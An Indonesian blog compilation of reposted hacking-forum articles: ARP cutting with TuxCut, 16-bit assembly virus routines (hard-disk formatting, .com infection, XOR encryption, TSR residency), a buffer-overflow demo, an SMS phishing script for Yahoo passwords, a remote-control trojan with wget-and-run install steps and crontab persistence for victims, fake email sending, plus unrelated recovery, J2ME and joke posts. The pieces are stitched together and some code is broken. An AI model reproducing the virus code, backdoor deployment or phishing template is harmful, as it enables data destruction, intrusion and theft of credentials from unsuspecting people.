a. Install arp-scan dengan perintah
$ sudo apt-get arp-scan

b. Install dsniff dengan perintah
$ sudo apt-get install dsniff

c. Install arptables, download versi arptables terbaru di http://sourceforge.net/projects/ebta...les/arptables/

tar zxf arptables-v0.0.3-3.tar.gz
cd arptables-v0.0.3-3
make && make install

3.Install TuxCut dengan perintah
$ sudo dpkg -i TuxCut-3.2_all.deb

*jika masih terdapat error karena library yang masih kurang, bisa dicoba command berikut: apt-get install -f

Berikut ini screenshoot dari TuxCut yang berhasil di install di kubuntu 9.1:



Untuk mematikan salah satu client, cari ip client yang mau dipotong koneksinya kemudian klik cut. TuxCut bisa digunakan untuk mematikan para NetCut user, tetapi sebaliknya NetCut user tidak bisa meng-cut TuxCut user. Disinilah kelebihan dari TuxCut, biar lebih powerfull lagi, bisa kita kombinasikan dengan membuat rules dengan arp-tables yang kita install tadi. Mungkin lain waktu kita akan bahas sedikit mengenai arp-tables untuk membuat linux kita kebal dari arp poisoning (arp spoofing) untuk lebih jelasnya bisa lihat gambar berikut ini



Sedangkan Untuk melakukan proteksi ARP pada linux kita, yang perlu kita lakukan hanyalah mengaktifkan centang "Protect Me" pada TuxCut. Mudah bukan



Referensi
http://bitbucket.org/a_atalla/tuxcut/wiki/Home
http://sourceforge.net/projects/ebta...les/arptables/

semoga bermanfaat buat temen-temen disini..

Sumber : Here

Teknik Virus assembly 16 bit

Sekilas Asm 16 bit.
Ok sebelum mulai kita adakan sedikit intro tentang asm 16 bit. Dalam model pemrograman asm 16 bit kita masih banyak menjumpai register 8 bit misal: ah,al,bh,bl,ch,cl,dh,dl
sedangkan register 2 dalam model pemrograman asm 16 bit adalah: ax,bx,cx,dx,sp,bp,di,si,ip,sp,dll....


sedikit info tambahan:
register 2 seperti ax,bx,cx,dx merupakan register akumulator serba guna
register ip merupakan register yang mengalamati isntruksi selanjutnya (instruction pointer), merujuk ke return address
resiter sp (stack pointer) merupakan sebuah alamat memori yang biasa disebut sebagai stack yang menganut sistem kerja LIFO (Last in first Out) -> yg pernah belajar akuntansi biaya pasti ngerti sistem tumpukan lifo ini.

Beberapa instruksi Dasar asm
lea : load effective address , misal lea dx,offset pesan -> menghitung alamat memori secara efektif dari variabel pesan ke register dx

jz : jump if zero -> locat jika tidak ada sisa atau zero (misal setelah cmp atau div)

jc: jump if carry -> loncat jika ada sisa

cmp : compare 2 buah register

mov : move, misal: mov ah,00

call: panggil -> untuk memanggil suatu makro

push : dorong -> memasukkan data ke stack

pop : ambil -> mengambil data dari stack

div : divide -> membagi

add: add-> menambah

adc : add if carry (carry=sisa), tambah jika ada sisa

jmp :jump -> loncat ke suatu makro

jnz: jump if not zero -> kebalikan dari jump if zero

int: interup -> pemanggilan interup (daftar interup dan syarat 2 pengisian register bisa dilihat di http://www.htl-steyr.ac.at/~morg/pcinfo ... te1at0.htm)

xor exclusive or (biasa digunakan untuk mereset atau mengosongkan register)

movs = Move Data from String to String
movsb =Move Data from String to Byte

dll...

ok langsung aja kita lanjut ke contoh-contoh rutin virus asm 16 byte

Teknik Timing Bomb

Teknik pemrograman virus yang bekerja dengan cara pengecekan jam di bios komputer, contoh kode asm untuk mengecek tanggal di bios dengan menggunakan interup 1 a fungsi 4 (daftar fungsi 2 interup di ms dos bisa anda lihat di http://www.htl-steyr.ac.at/~morg/pcinfo ... te1at0.htm), contoh rutin timing bomb untuk menampilkan pesan tiap tanggal 25 desember :
pesan db 'Selamat Hari Natal dari sang virus hahahaha',0dh,0ah,'$'
rutin_timer:
xor cx,cx ; reset register cx
mov ah, 04h ; syarat penggunaan int 1 a, ah harus diisi 4 hexa
int 1A ; eksekusi interup 1 a fungsi 4 hexa

;cek hasil eksekusi di register dx

cmp dx,2512 ; 2512 apakah tanggal 25 desember
jz makro_aksi_virus ; jump if zero ke makro_aksi_virus

makro_aksi_virus:
mov ah,09h ;syarat int 21h 09h , register ah harus diisi nilai 9 hexa
lea dx, offset pesan ; load effective address ke register dx
int 21h ;interup dos fungsi 21 hexa

Rutin Perusak Sistem

ok berikut ini adalah contoh rutin yang dibundel dalam makro perusak untuk merusak suatu sistem dengan cara melakukan pemformatan terhadap drive dari track 0 hardisk (misal hardisk drive 0)

perusak:
mov ah,05
mov cx,0
mov dh,0
mov dl, 80h
lea es,bx
int 13 h ; eksekusi int 13 hexa fungsi ke 5

Rutin Infeksi pada file .com

Untuk membuat virus non overwriting target file akan sangat kompleks karena ada perhitungan psp header file, untuk kali ini saya akan memberikan contoh teknik infeksi file dengan metode ini.
pertama virus menghitung size file lama dikurangi 3 byte.
(pada dasarnya teknik ini bukan benar2 tidak melakukan penimpaan terhadap file tapi tetap dilakukan penggantian beberapa byte kode di header file berekstensi .com)
contoh rutin untuk mengganti byte asli file :
mov di, 100h
mov di, offset simpan_byte ;simpan byte sudah didefinisikan
movsw ;konvert string ke word
movsb ;konvert string ke byte

;mengembalikan kontrol ke program asli

mov di, 100h
jmp di

Mematikan Koneksi Internet Wireless di laptop dengan virus

berikut ini sample virus yang menyebalkan yang berusaha mematikan koneksi internet anda yang dibundel dalam makro

matikan_internal_modem:
mov ah,44h
mov al,00
int 15 h

Mengamankan keberadaan virus dengan enksripsi xor

contoh rutin:

enkripsi_val db ?
decrypt:

enkripsi:
mov ah, enkripsi_val
mov cx, bagian_enkrip_end-bagian_enkrip_start
mov si, bagian_enkrip_start
mov di,si

xor loop:
lodsb
xor al,ah
stosb
loop xor_loop
ret

Teknik TSR (Terminate and Stay Resident)

Teknik ini akan membuat virus resident yang akan menginfeksi setiap program yang diload di memori. misal dengan menggunakan interup 21 h fungsi 25 h
(AH = 25h

AL = interrupt number

DSX = pointer to interrupt handler

returns nothing

- provides a safe method for changing interrupt vectors
)

ok mari kita tengok lebih lanjut tentang metode ini,
sample makro yang menggunakan metode ini:

;awal rutin residen
bios_routine:
mov ah,25h ; set alamat vektor interup
mov al,13 h ; interup ke sekian akan diset ke dalam al
mov dx, offset kode_virus ; hasil int 13 h ke sekian merujuk ke kode virus

int 21h ; gunakan interup 21 h fungsi 25 h

mov dv, offset bios_routine
int 27h

bios_routine ENDP ;akhir makro residen

ok sekian dulu krn harus kerja lagi kita lanjut lain kali hauahauahaua

Sumber : Here

Tool - Tool Programming di Linux

Penjelasan Jargon
- elf binary: merupakan bentuk program yang bisa dieksekusi di sistem linux.

Nasm (Netwide Assembler)
Merupakan assembler / dissasembler untuk kode-kode bahasa assembly di mesin linux (intel assembly)

Untuk mengkompile gunakan perintah ini:
Code:

nasm -f elf nama_program_anda.asm

Lalu kita linker dengan ld sehinga menjadi suatu elf executable :
Code:

ld nama_program_anda.o -o nama_program_anda

GCC (Gnu C Compiler)
Merupakan kompiler untuk Bahasa C dan Bahasa C++.

Contoh penggunaan:
Code:

gcc nama_program.c -o nama_program

Jadi misal nama file c adalah nama_program.c setelah kita kompile dengan gcc menghasilkan suatu elf executable dengan nama: nama_program

Beberapa contoh opsi-opsi gcc:

Code:

-g

Untuk informasi debugging yang bermanfaat saat proses pencarian bug dengan gdb (gnu debugger).

Code:

-Wall

Untuk menampilkan seluruh pesan kesalahan saat proses kompilasi.

Code:

-static

Opsi kompilasi ini untuk mencegah dependensi

Untuk lebih lengkapnya silahkan cari di google tentang opsi-opsi gcc.


objdump

objdump merupakan salah satu tool yang berguna saat melakukan dissasembly suatu program.
Ok, sebagai eksperimen manfaat dari objdump kita buat suatu program dengan asm intel syntax menggunakan syscall nomor 1 (exit):

Code:

;exit.asm
[SECTION .text]
global _start
_start:
xor eax, eax
mov al,1
xor ebx,ebx
int 0x80

Simpan dengan nama exit.asm lalu ubah jadi elf binary:
Code:

nasm -f elf exit.asm
ld -o exit exit.o

Misal kita mao mendissasemble dari elf binarynya ke at&t asm sytax:
Code:

objdump -S exit

maka tampilan hasilnya :
Code:

objdump -S exit

exit: file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: b0 01 mov $0x1,%al
8048064: 31 db xor %ebx,%ebx
8048066: cd 80 int $0x80

Di mana kita bisa melihat source codenya dalam mode AT&T syntax (yang kolom paling kanan).

ndisasm

Suatu program untuk membantu kita melakukan dissasemble. Misal kita punya shellcode:
\x31\xc0\x40\x89\xc3\xcd\x80 untuk kita disasseble.

ketikkan:
Code:

echo "\x31\xc0\x40\x89\xc3\xcd\x80">shellcode

Lalu kita disassemble ke mode 32 bit:
Code:

ndisasm -b32 shellcode

wc

WC (word count) sebenarnya hanyalah utilitas dasar di sistem linux tapi juga sering digunakan saat pembuatan program. Fungsinya sesuai dengan namanya untuk menghitung jumlah karakter di suatu file.
misal:
Code:

wc nama_file

GDB
GDB (Gnu Debugger) merupakan suatu program yang berguna untuk menganalisis suatu program terhadap kesalahan atau bug pemrograman.

misal:
Code:

gdb nama_program

Ok untuk lebih jelasnya mari kita praktekkan sedikit penggunaan gdb. Misal kita buat suatu program dengan nama stackbof.c:
Code:

//stackbof.c
#include
#include
fungsi_yang_vulner(char *temp1, char * temp2)
{
char bufer[400];
strcpy(bufer,temp2);
printf(“Isian data: %s %s\n”,temp1,temp2);
}

int main(int argc, char * argv[])
{
fungsi_yang_vulner(argv[1],argv[2]);
printf(“Isian data Anda: %s %s \n”,argv[1],argv[2]);
}

Lalu Kompile dengan gcc:
Code:

gcc -o stackbof stackbof.c

Dari kode program di atas ada kesalahan yang memungkinkan untuk kita eksploitasi, coba perhatikan kode-kode ini:
char buff[1024];
dan
Code:

strcpy(bufer,temp2);

keterangan:
strcpy akan menyalin argumen program ke dua (argv[2]) ke stack buffer tanpa validasi panjang string.

Ok selanjutnya mari kita sengaja manfaatkan kesalahan kode program tadi untuk mengeksploitasi stack dengan mengirimkan inputan melebihi kapasitas buffer, ketikkan ini dari linux shell Anda:

Code:

./stackbof argumen1 `perl -e ‘print “A”x405′`

Hasil dari eksekusi program dengan argumen di atas akan menyebabkan pesan segmentation fault karena buffer yang ukuranya hanya 100 bytes
menerima salinan string dengan kapasitas yang melebihi buffer sehingga terjadilah yang namanya buffer overflow.

Untuk menganalisis kesalahan program kita jalankan gdb:

Code:

gdb -q stackbof

Analisis dengan gdb di mana program dirun dengan argumen ” `perl -e ‘print “A”x1040′`” :

Code:

# gdb -q stackbof
Using host libthread_db library “/lib/libthread_db.so.1″.
(gdb) run argumen1 `perl -e ‘print “A”x400′`
Starting program: /root/sploits/eksperimen/ezine/stackbof argumen1 `perl -e ‘print “A”x400′`
Isian data: argumen1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Isian data Anda: argumen1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0×08048423 in main ()
(gdb)

terlihat terjadi kesalahan program karena tidak adanya pengecekan panjang string yang masuk ke stack.


GAS

GAS merupakan assembler untuk Assembly dengan sintaks AT&T.

Code:

as nama_program.s -o nama_program.o
ld nama_program.o -o nama_program

Ok sekian dan terima kasih akan saya lanjutkan lain waktu.
Special thanks:
kiddies, gunslinger, flyv666, v3n0m, marc0, aurel666, cakill, cyber mutaqqin chaer newbie, dan masih banyak lagi.
Thanks and greets;
All jasakom crews & members
All devilzc0de crews & members
All jatimcrew crews & members
All yogyacarderlink crews & members

Sumber : here

Cara Unik Dapet Password Yahoo

Mungkin bagi yang dah tau trik ini bakalan ketawa ngakak… , atau malah belom coba sama sekali?
Jujur tehnik ini ditemukan pacar gua sendiri a.k.a chrno yang digunakannya untuk mendapatkan username dan password Facebook dari temen - temennya . Ngakak dah gua
Penasaran?


Sebenernya ini cara sederhana banget yaitu menggunakan jasa SMSnya YM… Gak tau cara kirim SMS pake YM? Google it…

Nah kalo perlu buat ID baru, misalkan "CS Yahoo" (Customer Service Yahoo) atau yang gak mencurigakan.

Langsung aja SMS minta verifikasi password or something, yang jelas ini butuh keahlian khusus. Karena YM menggunakan nomor seperti berikut "9246002" siapa yang curiga? Yang jelas bukan kalian loh. Kalian pasti curiga, nah cewek – cewek lugu di luar sana gimana?

Mungkin format smsnya kayak gini

Code:

Dear : Blablabla diharapkan melakukan verifikasi email dan password email yahoo Anda untuk mencegah terjadinya pencurian password. Reply SMS ini dengan format Email dan Password

Ketika dia reply dan cek inbox di YM kalian…

Nah kalo email dah dikuasai masa di dalamnya gak ada Facebook, dll

NB : Disarankan sang korban menggunakan email Yahoo bukan Gmail karena jasa SMS YM akan ada pemberitahuan terlebih dahulu. Dan bagi gua sendiri cara ini belom terlalu ampuh, mungkin kalian bisa membuat FAKE LOGIN terlebih dahulu dan isi SMSnya arahkan ke situ.

Semoga berguna… Thanks buat Chrno

Sumber : Here

Kapan Mainnya ?

Alkisah dua muda mudi, ahin dan inem lagi di mabuk asmara, tergoda untuk melakukan ML.
Inilah gaya mereka dengan pantun2an dulu sebelum ML.
Ahin: "sop sayur sop kacang, meking lop yuk yang."

Inem: "buah duren di kebun kacang, bawa durex ga. yang?"

Ahin: "buah delima buah duren, dua lima lebih keren."

Inem: " bawa kaca takut pecah, pake sutra pasti lebih aaahhhhhhhhh..."

Ahin: " buah durian buah lengkeng, ga usa pake skalian deh neng."

Inem : "mau ngemil buah kedondong, kalo hamil gimana dong?"

Ahin: "jangan ngemil buah kedondong, kalo hamil ya.... kutinggal pergi donk."

Inem: "buah duku buah langsat, kamu memang bangsat..!!!!"

Ahin: "Ulet bulu, kafan kaennya, ngomong mulu, kapan maennyaaa??"

DDOS Attack with me ! (CM107)

Hari ini pengalaman kena marah ISP ane gara2 seluruh jaringan down, bukan hanya private jaringan di tempat saya melainkan juga jaringan Squid di ISP down dan mati.

Berikut ini ceritanya. saya ingin mengujicoba serangan ddos di jaringan internet local atau kita kenal dengan intranet.

Dengan spesifikasi server Ubuntu sebagai berikut.
IP no 154 adalah server Ubuntu.

berikut ini saya direct dari putty :


sekarang kita cek server yang sudah kita install apache2 ini didalamnya.


sekarang kita akan coba scripting juno.c untuk melancarkan serangan dari client.


lihat apa yang terjadi...


sekarang kita akan coba hentikan serangan


nah imbas dari serangan ini membuat salah 1 server squid proxy ISP mati.
sekian dari saya.

Wassalamualaikum
Salam Maiyah Indonesia

Sumber : Here

Recovery Virus (General)

Baiklah, kali ini kita akan membahas bagaimana cara merecovery komputer (Win XP) yang terkena serangan virus atau worm, tapi telah bebas dari virus. Terkadang AV tidak memperbaiki secara keseluruhan system komputer yang telah diserang Virus. So, mau tidak mau kita mesti memperbaiki nya manual. Nah, luv_lamerz akan membagi sedikit pengalamannya dalam memperbaiki system komputer. Artikel ini gw buat dalam bentuk pertanyaan dan solusi,karena ini recovery secara umum jadi kalo ada pertanyaan lo yang ga masuk di Artikel ini, silakan post aja di thread ini, gw dan teman2 dijasakom akan berusaha yg terbaik.

Q : Komputer gw udah bersih dari virus, tapi Folder Optionnya ilang??? GImana tuh??
A : Ini gw kasi cara cepat manggil Folder Option... Ketik di Run..

rundll32.exe shell32.dll,Options_RunDLL 0

Q : waw..Folder Optionnya udah keluar, tapi waktu gw ilangin cek opsi "HIde Protected System Files (recommanded)" supaya file dengan atrribut hidden + system muncul, kok gak pengaruh, malah ceklist nya kembali, kenapa tu?
A : ADa 2 kemungkinan sebenarnya, virus induk masih jalan, dan yang kedua settingan ShowSuperHidden udah dirubah sama virusnya. Kita bahas kemungkinan kedua, buka regedit, lalu browse key ini :

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Explorer\Advanced\Folder\SuperHidden

Nah, perhatikan value2 berikut dengan nilai standarnya ;

CheckedValue 0
DefaultValue 0
UncheckedValue 1

CheckerdValue artinya nilai yang mewakili jika kita men-ceklist "HIde Protected System Files (recommanded)", jika diceklist berarti nilainya 0 dan file akan terhidden.

DefaultValue artinya nilai yang mewakili jika kita klik restore default pada folder option. Berarti file akan terhidden.

UncheckedValue artinya nilai yang mewakili jika kita men-uncecklist "HIde Protected System Files (recommanded)", jika di-uncecklist berarti nilainya menjadi 1 dan file akan terlihat.

Dapat kita simpulkan nilai 0 = hidden, dan 1 = muncul
Nah, biasanya virus akan merubah opsi UncheckedValue menjadi 0, jadi setiap kita men-unchecklist "HIde Protected System Files (recommanded)" nilainya akan menjadi 0 dan Checklist akan selalu tampak pada bagian tsbt di folder option, otomatis file yang terhidden tidak akan muncul.


Q : Oiya,, Regedit gw belum muncul ne,, katanya DisableRegistryEditor, gimana tu?
A : Gunakan Alternatif Regedit seperti TuneUp Utilites, disitu ada Registry Editornya, Gunakan tool tersebut, lalu pilih fasilitas search nya, search "DisableRegistryEditor" (Disable apa Disabled ya?? lupa gw). Setelah ketemu, rubah nilainya menjadi 0.

Q : Sudah... Tidak muncul lagi Tulisan disabled itu. Tapi setelah terbuka, kok yang kebuka Notepad dengan tulisan aneh2...
A : Gunakan lagi TuneUpUtilites tadi, di registry editornya, search string "debugger". Teliti keynya, apabila Keynya bernama regedit.exe, berarti disana dia infonya, hapus string value "debugger" Tersebut. Cari string debugger lain, biasanya msconfig.exe juga kena, hapus juga string "debugger" tersebut".

Q : Oke, Regedit gw udah kembali, tapi masih ada hal yang aneh2, ketika gw klik kanan Semua Drive di komputer gw, ada tulisan hitam cetak tebal, gak bisa dibaca, kadang tulisannya Auto. Gimana cara mengembalikannya seperti semula??
A : Hmm.. kemungkinan lo kena Alman, tadi kita telah memunculkan file yang terhidden, sekarang buka masing2 drive, liat jika ada file autorun.inf, nah perhatikan kata2nya... ambil salah satu string dari file autorun.inf, gw biasanya ambil string nama virus yang bersangkutan, misalnya boot.exe, lalu buka regedit. Browse key berikut :

HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\MountPoints2

Search dengan kata kunci tadi, setelah ketemu, hapus keynya (yang sebelah kiri, yang gabungan angka dan huruf itu loh, kayak CLSID). Search terus sampai kata tersebut tidak ditemukan lagi.. Oya, jangan mencek opsi "Match whole sting Only".

Q : Btw, Task Manager gw rupanya blum berfungsi.. hiks..
A : Jangan nangis gitu bro, browse key berikut :
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System
Nah, perhatikan semua DwordValue yang dimulai dengan kata2 "No", set semua nilainya menjadi "0", disana juga ada Value "DisableTaskMgr", set nilainya menjadi 0.

Q : Oo.. begitu ya... tq2... oya, supaya terhindar dari serangan2 virus ato worm gmana cara nya bro?
A : Silakan kan mampir di thread gw yang ini... http://www.jasakom.com/forum/viewtopic.php?f=122&t=2186

Q : Btw... Lo udah punya ce??
A : Maaf.. pertanyaan Anda sudah melenceng... zzz


Baiklah mungkin sekian saja artikel gw kali ini, Semoga bermanfaat...
thx...

Sumber : Here

Membuat Aplikasi HP dengan J2ME

Nah teman2, sobat2ku yang budiman.. ane mau berbagi ilmu sambil menimba ilmu juga..
Pasti keren and asyik kalo kita bisa buat aplikasi HP, minimal buat HP qt pribadi.. Thread ini dibuat untuk membahas hal demikian..

Persiapan
Sebelum kita membuat program, maka kita harus menginstall Java Wireless Toolkit for CLDC (JWTK) bisa diunduh di sini
tersedia versi windows, dan linux
Aplikasi ini berguna sebagai kompiler beserta mesin virtual HP, jadi kita bisa mencoba aplikasi yang kita buat tanpa menginstall di HP (dan tentunya gak harus punya HP)

Setelah itu, jangan lupa..kumpulkan e-book sebanyak2nya..
untuk itu silahkan baca forum ini

Untuk permulaan silahkan buat project baru lewat JWTK, pilih menu file -> new project
Trus isi project name : HelloWorld
pada MIDlet Class name : HelloWorld
Lalu tekan tombol create project
Kemudian akan muncul jendela setting project, untuk sementara biarkan default dan tekan OK

Setelah itu buat file HelloWorld.java didirektory berikut
untuk windows --> C:\WTK2.5.2\apps\src
untuk linux --> /home/nama_user/j2mewtk/2.5.2/apps
NB : terdapat perbedaan direktory, trgantung versi dati JWTK

Lalu isikan code berikut
Code:

import javax.microedition.lcdui.*;
import javax.microedition.midlet.*;

public class HelloWorld extends MIDlet implements CommandListener {
private Form mMainForm;

public HelloWorld() {
mMainForm = new Form("HelloWorld");
mMainForm.append(new StringItem(null, "Hello, World!"));
mMainForm.addCommand(new Command("Exit", Command.EXIT, 0));
mMainForm.setCommandListener(this);
}

public void startApp() {
Display.getDisplay(this).setCurrent(mMainForm);
}

public void pauseApp() {
}

public void destroyApp(boolean unconditional) {
}

public void commandAction(Command c, Displayable s) {
notifyDestroyed();
}

}

Lalu pada JWTK tekan tombol Build, akan muncul pesan berikut
Project "HelloWorld" loaded
Project settings saved
Building "HelloWorld"
Build complete

NB: jika error, koreksi kembali source code yang Anda masukkan pada file HelloWolrd.java

terakhir jalankan dengan menekan tombol Run
Lalu akan muncul mesin virtual berupa virtual HP. Silahkan menjalankan program yang baru Anda buat di mesin virtual tersebut

Jika Anda ingin mentransfernya ke HP Anda, buat file jarnya caranya
pilih menu Project -> Package -> Create Package
Lalu akan muncul file HelloWorld.jar didirektori J2ME_PROJECT\HelloWorld\bin
silahkan mentransfer ke HP Anda..

Semoga bermanfaat

Sumber : Here

Devilzc0de Dual OS Trojan Horse by mywisdom

Trojan name : Devilzc0de Dual OS Remote Control version 1.0
C0d3r : mywisdom (solhack 2003-2004 c0d3r, devilzc0de c0d3r 2009-2010)
Language : vb
Requirement : MSWINSCK.OCX (both on client or victim must be on C:\WINDOWS\system32 , or other drive where system32 exist)
Download url: http://yoyoparty.com/upload/devilzc0de.zip (file size=556 kb)





Ok a little nostalgic on my past days. It's been a long time i didn't make something like trojan or viruse(s).
This is a simple stupid network remote control, works on dual os:

- the client is ms windows and the victim is ms windows.

also works if:

- the client is ms windows and the victim is linux (kernel 2.6).
(so the client, i meant you as the one that controlling your victim always on ms windows)

This tool certainly works on these following conditions:

- Scenario 1: The client and victim are on the same subnet
- Scenario 2: The client uses private ip and the victim uses public ip address
- Scenario 3: The client uses public ip address and the victim uses private ip address)

Ok assume you have download this trojan horse. So let's extract it. as for me I extract it to my Desktop here:


A little explanations:
In order to run properly this trojan need MSWINSCK.OCX (winsock) both on Client and Victim Machine, if on Linux victim,
you don't need this file. This file must be put on c:\Windows\system32


Ok I test here using 127.0.0.1 (my own loopback) on my own windows box, first I run the server (extract it) , ok
Run the devilzc0de_server.exe on your victim machine (make sure there's MSWINSCK.OCX (c:\Windows\system32) over there)
(your victim may on the same subnet or any public ip address (if your victim is private ip you must be on public ip)





Ok Double click devilzc0de.exe to start the control:



- Ok if your victim operating system is ms windows u may use some controls on right box (controls on left box won't work on windows)
- And if your victim operating system is linux you may use some controls on left box as marked for linux victim (control on right side won't
work on linux victim because it's for ms win 32 victim)

Then enter victim ip address and press connect !

Ok let try to send a message to our victim by clicking "Send Message" button



then on your victim's Desktop will be this message:





To start your control, type your victim ip address on the text box, you gotta run the devilzc0de_server elf binary as a background
process on your victim, using this trojan even you can shutdown and reboot woth no root privilege as long as the kernel is lame

Ok installing our backdoor I used a public ip address:




Step to install this backdoor for linux:

Code:

wget http://yoyoparty.com/upload/devilzc0de_server_linux.tgz
cd devilzc0de_server_linux
./devilzc0de_server &

or you may just upload devilzc0de_server_linux.tgz from your local to your victim and extract it there then run the trojan on background.


You may also use crontab for backdooring

Download this trojan from:

http://yoyoparty.com/upload/devilzc0de.zip
mirror:

http://alveola.ru/en/css/devilzc0de.zip
Sumber : Here

Trik mengirim email palsu

Mas, Om, Paman, Tante, Bapak or Ibu Admin Numpang Ngepost sekalian Curhat yaa ya He3x..
Pada kesempatan ini gw ingin berbagi pengetahuan seputar Trik mengirim email palsu. Trik ini gw dapet pas gw dapat Kejadian yang aneh. Di inbox email gw ada email yang mengatakan bahwa itu email berasal dari Raja Alien planet Nebola yang mengatakan bahwa gw adalah target mereka unyuk ditangkep!!!!!!Mungkin Karena gw Ganteng kale yah???Walaaaaah,, Adapun alamat emailnya yaitu Alienx@Planet_Nebola.co.id .
Tapi Pas gw cek by ricek selama semaleman ternyata alamat email itu Palsu alias Bodong. Dan keesokan Paginya gw akhirnya dapetin tuh trik orang iseng bwat ngirim email palsu,,,

Begini Triknya:

1. Buka Situs http://deadfake.com/
2. Kemudian Klik Tulisan Send Fake mail yang ada dibagian atas.
3. Trus isi kolom-kolomnya sesuai Hati lw,misalnya:
To: Masukin Email Target
From: Masukin Email palsu sesuai Keinginan kalian
Subjek: terserah kalian juga
Massage: Isi email yang mau lw tulis
4. Langkah terakhir jangan lupa masukin kode Verifikasinya ok ok.

Ingeet Tindakan ini dapat merugikan orang lain, jadi jangan ditiru ya,,ini semua hanya untuk pembelajaran aja okeeey.. JAdilah Manusia yang berguna Bagi orang lain (cieeeelah lagi Tobat Ceritanyaa) hehehehe,,
See You in Next Post,,

Sumber : Here

Hooking With Import Table Patching in Delphi

1. Apa itu hooking ?

Hooking menurut saya adalah teknik yang digunakan untuk meredirect fungsi ke fungsi lain. Contoh teknik hooking dalam kehidupan sehari bisa diliat pada telpon. Ada apa dengan telpon ? Terkadang saat kita menelpon seseorang terdengar suara perempuan. Perempuan itu berkata seperti ini "Maaf telpon yang anda tuju sedang dialihkan" dan kitapun di redirect ke nomor lain. Process redirect inilah yang saya samakan dengan proces dari hooking, walaupun saya sendiri gak mudeng bagaimana cara kerja dari telpon itu :P. Tapi kalau suaranya seperti ini "Pulsa anda tidak mencukupi untuk melakukan panggilan ini" bagaimana tuh ??. Oh iya kira2 perempuan itu cantik gak yah ? kalau cantik dan masih mudah gue mau donk... hahahhaa
2. Kegunaan dari teknik hooking ?

Teknik hooking sama halnya dengan pisau yang dimana teknik ini bisa digunakan dengan baik dan tentu saja bisa juga digunakan untuk tujuan jahat. Adapun contoh kegunaan yang saya maksud seperti ini :

Security Aplikasi :

- Menggunakan teknik hooking untuk mengetahui apa yang dilakukan oleh file apabila dijalankan misalnya mengekseskusi program lain, membuat file baru dan banyak lagi.

- Menggunakan teknik hooking untuk mengetahui koneksi yang dilakukan oleh file (hook winsock) yang biasanya berada pada Aplikasi firewall dan sniffing.

- Dan lain2.

Virus :

- Menggunakan teknik hooking untuk mengetahui keystroke (keylogger).

- Menggunakan teknik hooking untuk menyembunyikan diri pada taskmanager.

- Dan Lain2.
3. Bagaimana Hooking Bekerja ?

Untuk dapat memahami betul bagaimana hooking bekerja maka saya mencoba memberikan gambaran yang lagi2 berkaitan dengan telpon (telpon rumah). Ada apa lagi dengan telpon rumah ? coba anda perhatikan telpon rumah itu, Apa yang membuat telpon rumah itu bisa saling terhubung. Kalau gue sih simple jawabnya "Karena ada kabel yang menghubungkan ". Disaat kita perhatikan kabel ini maka akan terlihat bahwa ada beberapa tahapan yang menurut saya mungkin dilalui oleh kabel ini sebelum sampai ke pusatnya.

Tahapan2 itu Menurut saya :

Telpon rumah << >> GateWay << >> Tiang << >> Center

>> itu berarti kabel yang membawa informasi ex : nomor telpon, dan alamat telpon yang dituju.
<< kebalikan dari >> atau bisa process balik

Muncul pertanyaan, bagaimana kalau keluaran informasi dari gateway ke tiang itu datanya diubah ? atau sebaliknya data yang dari tiang ke gateway diubah ? oh iya please gak usah pm gue tentang bagaimana cara mengubahnya karena tentu saja saya sendiri tidak tahu :P.

Contoh dari gambaran diatas hampir sama dengan fungsi2 yang terdapat pada windows. Pada tulisan saya sebelumnya tentang "Virus Make And Protect" saya sudah menerangkan sedikit tentang IAT (import adress table) dan apa yang terjadi pada Aplikasi apabila memanggil fungsi windows. Nah untuk tulisan ini sendiri, saya akan menjelaskan lebih lanjut tentang itu.

Apa yang terjadi disaat kita memanggil fungsi windows ex: FindFirstFile (FindFirstFileA) pada Aplikasi kita ? gambarannya begini :

1. Aplikasi kita mengambil alamat fungsi FindFirstFileA di IAT.

2. IAT.FindFirstFileA Mengacu ke alamat FindFirstFileA pada kernel32.dll yang dimana alamat ini tersimpan pada Export Table.

3. kernel32.dll.FindFirstFileA merupakan fungsi non unicode dari kernel32.dll.FindFirstFileW.

4. kernel32.dll.FindFirstFileW Adalah Fungsi yang dimana memanggil Fungsi NtQueryDirectoryFile yang dimana terletak pada IAT kernel32.dll.

5. IAT.NtQueryDirectoryFile mengacu ke NtQueryDirectoryFile pada ntdll. Yang dimana letaknya pada export table ntdll.

7. Ntdll merupakan batasan terakhir dari usermode yang dimana setelahnya sudah masuk ke kernel, jadi semua fungsi yang terdapat pada ntdll mengambil referensi dari kernel space melalui system call yang akan berakhir pada ntoskrnl.exe.


